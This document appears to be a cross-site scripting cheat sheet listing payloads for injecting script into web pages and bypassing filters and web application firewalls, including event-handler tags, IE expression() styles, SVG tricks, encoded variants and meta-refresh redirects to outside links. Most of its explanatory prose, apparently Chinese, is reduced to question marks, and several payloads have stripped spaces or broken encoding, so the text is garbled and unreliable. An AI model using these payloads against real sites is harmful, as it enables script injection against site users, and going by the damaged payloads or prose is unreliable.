???????????

 

<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<bodyonload=prompt(1);>
<selectautofocusonfocus=alert(1)>
<textareaautofocusonfocus=alert(1)>
<keygenautofocusonfocus=alert(1)>
<video><sourceonerror="javascript:alert(1)">
??payload
<q/oncut=open()>
<q/oncut=alert(1)>//Usefulin-caseofpayloadrestrictions.

??????????
????<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
????<body  language=vbsonload=alert-1 // Works with IE8
????<command onmouseover="x6Ax61x76x61x53x43x52x49x50x54x26x63x6Fx6Cx6Fx6Ex3Bx63x6Fx6Ex66x6    9x72x6Dx26x6Cx70x61x72x3Bx31x26x72x70x61x72x3B">Save</command>      // Works with IE8
??????????????

 

<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw&#039;=alertx281x29&#039;;
Expression ????
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(&#039;&#039;x:expression(alert(1))"></div>      // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7
“location”????
<a onmouseover=location=’javascript:alert(1)>click
<body onfocus="location=&#039;javascrpt:alert(1) >123

????????Payload

 

<meta http-equiv="refresh"      content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh"      content="0;javascript&colon;alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g      onload="javascript:u0061lert(1);"></g></svg> //      By @secalert
<svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href"      values=";javascript:alert(1)" begin="0s"      dur="0.1s" fill="freeze"/> // By Mario
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg>      // By @secalert
<meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed
??????????????
<svg><script>alert&#40/1/&#41</script>      // Works With All Browsers
( is html encoded to &#40
) is html encoded to &#41

????Opera?????
????<svg><script>alert&#40      1&#41 // Works with Opera Only
??????????
????&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
????<a  href="j&#x26;#x26#x41;vascript:alert%252831337%2529">Hello</a>
????????
????JavaScript???????????????????????????Unicode??HTML????б??????????????????????HTML?? Octal?? Decimal??Hexadecimal?? and Unicode??

 

href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //????base64

??????????????????
????WAF??????????????????????ú??????????赲??????js?????????????xss????????????????????????XSS?????????????